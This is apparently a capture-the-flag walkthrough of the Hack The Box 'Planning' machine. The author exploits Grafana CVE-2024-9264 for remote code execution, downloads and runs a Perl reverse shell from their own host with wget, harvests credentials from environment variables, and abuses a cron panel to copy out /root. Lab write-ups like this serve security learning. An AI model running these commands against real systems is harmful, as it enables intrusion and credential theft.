← BACK

Planning

10.10.11.68 (planning.htb)

We are provided these credentials: admin:0D5oT70Fq13EvB5r

Enumeration

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)

Looking around the website it seems like there's a possible XSS in the course enrollment phone number as well a potential SQL Injection inside the course search feature, though both don't seem to lead to anything.

Instead, I tried to find hidden sub-directories and vhosts:

Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]

Grafana Login

We can authenticate with the credentials provided to us in the original scope for the user admin. Looking at the version of Grafana, we see that it's Grafana v11.0.0 (83b9528bce)

For this version we see a potential RCE that requires duckdb to be enabled: -> CVE-2024-9264 -> Public exploit

User

Let's test the public exploit:

python3 CVE-2024-9264.py http://grafana.planning.htb/ -u admin -p 0D5oT70Fq13EvB5r
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

It would be great to get a reverse shell, I tried all the classics and none seem to work. After some more recon I found that wget and perl are installed, so I created a Perl script from revshells.com

Set it up with python -m http.server 80 to upload to the machine:

python3 CVE-2024-9264.py http://grafana.planning.htb/ -u admin -p 0D5oT70Fq13EvB5r -c 'wget http://10.10.14.92/foo.pl -O /tmp/foo.pl'

Then run it with:

nc -lvnp 9001
python3 CVE-2024-9264.py http://grafana.planning.htb/ -u admin -p 0D5oT70Fq13EvB5r -c 'perl /tmp/foo.pl'

We get a shell, looking around, we are root and there's /.dockerenv.

I for credentials in the environment variables:

env
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo

enzo:RioTecRANDEntANT!

Let's try to ssh:

ssh enzo@planning.htb
ls
# user.txt
cat user.txt
# <redacted1>

Root

Now let's try to do some more enumeration and learn about our environment. I found a file named crontab.db, let's copy it over:

scp enzo@10.10.11.68:/opt/crontabs/crontab.db .
{
    "name": "Grafana backup",
    "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
    "schedule": "@daily",
    "stopped": false,
    "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000          (Coordinated Universal Time)",
    "logging": "false",
    "mailing": {},
    "created": 1740774983276,
    "saved": false,
    "_id": "GTI22PpoJNtRKg0W"
}
{
    "name": "Cleanup",
    "command": "/root/scripts/cleanup.sh",
    "schedule": "* * * * *",
    "stopped": false,
    "timestamp": "Sat Mar 01   2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
    "logging": "false",
    "mailing": {},
    "created": 1740849309992,
    "saved": false,
    "_id": "gNIRXh1WIc9K7BYX"
}

In the "Grafana backup" step we have an interesting command, let's break it down:

/usr/bin/docker save root_grafana -o /var/backups/grafana.tar \
    && /usr/bin/gzip /var/backups/grafana.tar \
    && zip -P P4ssw0rdS0pRi0T3c \
           /var/backups/grafana.tar.gz.zip \
           /var/backups/grafana.tar.gz \
    && rm /var/backups/grafana.tar.gz

Essentially, it stores a password protected archive of the current root_grafana docker image, in /var/backups/grafana.tar.gz.zip

After looking at the local ports I found new local services running:

netstat -lntu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:35587         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN

Let's look at :8000:

ssh -L 8000:127.0.0.1:8000 enzo@planning.htb

We have a website with basic auth enabled, let's try some credentials we have. I managed to get the Grafana archive password to work with root: root:P4ssw0rdS0pRi0T3c

We are now able to modify the cron scripts we saw in the crontab.db and manage them, let's try to exfiltrate the /root directory:

Admin panel to handle cron

Let's force the script to "Run now" and we can see our archive! Let's exfiltrate it.

scp enzo@10.10.11.68:/tmp/foo.tar.gz .
tar -xzvf foo.tar.gz
ls
# root.txt  scripts
cat root.txt
# <redacted2>